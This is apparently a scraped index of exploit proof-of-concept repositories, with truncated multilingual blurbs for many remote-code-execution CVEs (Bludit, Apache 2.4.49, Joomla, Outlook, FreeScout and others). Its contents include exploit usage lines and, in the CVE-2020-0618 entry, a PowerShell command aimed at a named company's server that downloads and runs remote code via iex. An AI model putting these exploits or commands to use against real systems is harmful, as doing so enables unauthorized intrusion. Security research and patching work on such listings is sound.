CVE-2022-44877-CWP7

CVE-2022-44877-CWP7 Control Web Panel 7 CWP7 원격 코드 실행 RCE CVE-2022-44877 비인증 저장소에 POC가 곧 업데이트될 예정입니다...

CVE-2017-3881-exploit-cisco-

Une vulnérabilité dans le code de traitement du protocole Cisco Cluster Management Protocol CMP dans les logiciels Cisco IOS et Cisco IOS XE pourrait permettre à un attaquant distant non authentifié de provoquer un rechargement d'un appareil concerné ou d'exécuter du code à distance avec des...

CVE-2022-47986

CVE-2022-47986 Pourquoi Cette vulnérabilité est exploitée activement. IceFire utilise cette vulnérabilité pour déployer le ransomware sur les systèmes ciblés. Je souhaite aider les équipes SOC/Blue à identifier les systèmes impactés et les équipes Pentesters/Red à l'exploiter et à la signaler...

CVE-2026-24061

Эксплойт CVE-2026-24061 Telnet RCE — от SafeBreach Labs Этот скрипт эксплуатирует уязвимость CVE-2026-24061 в Telnet-серверах, используя некорректно сформированную переменную окружения USER. Использование Запустите скрипт с указанием целевого хоста: python telnetrce.py -p Аргументы host: IP-адрес...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - lien vulnérable $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes ...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Exécution de code à distance – Composant graphique Windows x64 Exécution de code à distance critique via un JPEG malveillant – Windows 11 24H2 non corrigé CVSS 9.8 – Aucun privilège, aucune interaction requise CVE-2025-50165 - windowscodecs.dll déréférencement de pointeur non fiabl...

CVE-2019-16113

Bludit 3.9.2 - Exécution de commande à distance - CVE-2019-16113 Cet exploit combine deux exploits dans Bludit CMS 3.9.2 pour exécuter du code à distance sur le système cible. Les exploits originaux sont CVE-2019-17240 et CVE-2019-16113. Fonctionnalités Force brute du mot de passe + RCE Force bru...

CVE-2025-49113

CVE-2025-49113 Exploit RCE la méthode d'authentification par nom d'utilisateur/mot de passe dans cet Exploit se déroule en 4 étapes le code est un peu désordonné...

CVE-2021-41773

ApacheRCE ApacheRCE est un petit script Python qui vous permet d'entrer la version d'Apache 2.4.49-2.4.50 puis d'entrer une liste d'adresses IP à partir d'un fichier texte et d'exécuter l'exploit en masse sur celles-ci. Cela peut être utile si vous gérez plusieurs sites Web et que vous voulez voi...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution Затронутые версии: 3.0.0–3.4.6 1. Проверка уязвимости python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 Отображение «Vulnerable» подтверждает наличие уязвимости. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Exécution SQL Arbitraire Non Authentifiée menant à une Exécution de Code à Distance CVE-2024-43918 Le plugin WBW Product Table Pro pour WordPress est vulnérable à une exécution SQL arbitraire non autorisée en raison d’un manque de vérification des capacit...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Exécution de code à distance CVE-2019-18873, CVE-2019-18839 Plusieurs vulnérabilités XSS stockées ont été découvertes dans FUDforum 3.0.9, pouvant aboutir à une exécution de code à distance. XSS stockée via le nom d'utilisateur dans le forum : Info | Démo X...

CVE-2024-39306

Описание Этот скрипт является PoC для CVE-2024-39306, где возможен RCE из-за SQLi, при котором аутентифицированный пользователь может выполнять произвольные команды на сервере под управлением ChurchCRM -p -b -c Пример: python3 CVE-2024-39306.py -u FirstLast -p Password123 -b...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2025-27363

CVE-2025-27363 на Chrome 113 Примечание: В chrome это не новая уязвимость, она была исправлена roll-up commit в марте 2023. Этот PoC нацелен только на безголовый режим headless mode Chrome. Однако, думаю, это будет интересное чтение, если хотите изучить некоторые внутренности и увидеть эксплуатац...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413-Vulnérabilité-d-exécution-de-code-à-distance-dans-Microsoft-Outlook Ce script fournit une preuve de concept PoC pour CVE-2024-21413, une vulnérabilité de sécurité critique découverte dans Microsoft Outlook avec un score CVSS de 9,8. Cette vulnérabilité, appelée bogue MonikerLink, a...

CVE-2025-26865

CVE-2025-26865 : Injection de modèles côté serveur FreeMarker via le plugin « ecommerce » dans Apache OfBiz En raison d'une régression entre 18.12.17 et 18.12.18, le correctif pour la découverte CVE-2022-25813 : Injection de modèles côté serveur FreeMarker dans Apache OfBiz n'était plus appliqué,...

CVE-2024-38063

CVE-2024-38063 Aperçu En août 2024, Microsoft a publié un correctif pour une vulnérabilité d'exécution de code à distance RCE dans TCP/IP de Windows. Certains chercheurs ont déjà publié des preuves de concept PoC pour cette vulnérabilité, et à peu près au même moment, les chercheurs de PatchPoint...

CVE-2022-40471

CVE-2022-40471 Exécution de code à distance via une vulnérabilité de téléchargement de fichier sans restriction dans le Clinic's Patient Management System v 1.0 Description technique : L'exécution de code à distance dans Clinic's Patient Management System v 1.0 permet à un attaquant de télécharge...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — Prise de contrôle anonyme de FreeScout → RCE Exécution de code à distance non authentifiée dans FreeScout ≤ 1.8.223 un service d'assistance Laravel en enchaînant deux failles, toutes deux corrigées dans 1.8.224 : CVE-2026-53595 — prise de contrôle anonyme de...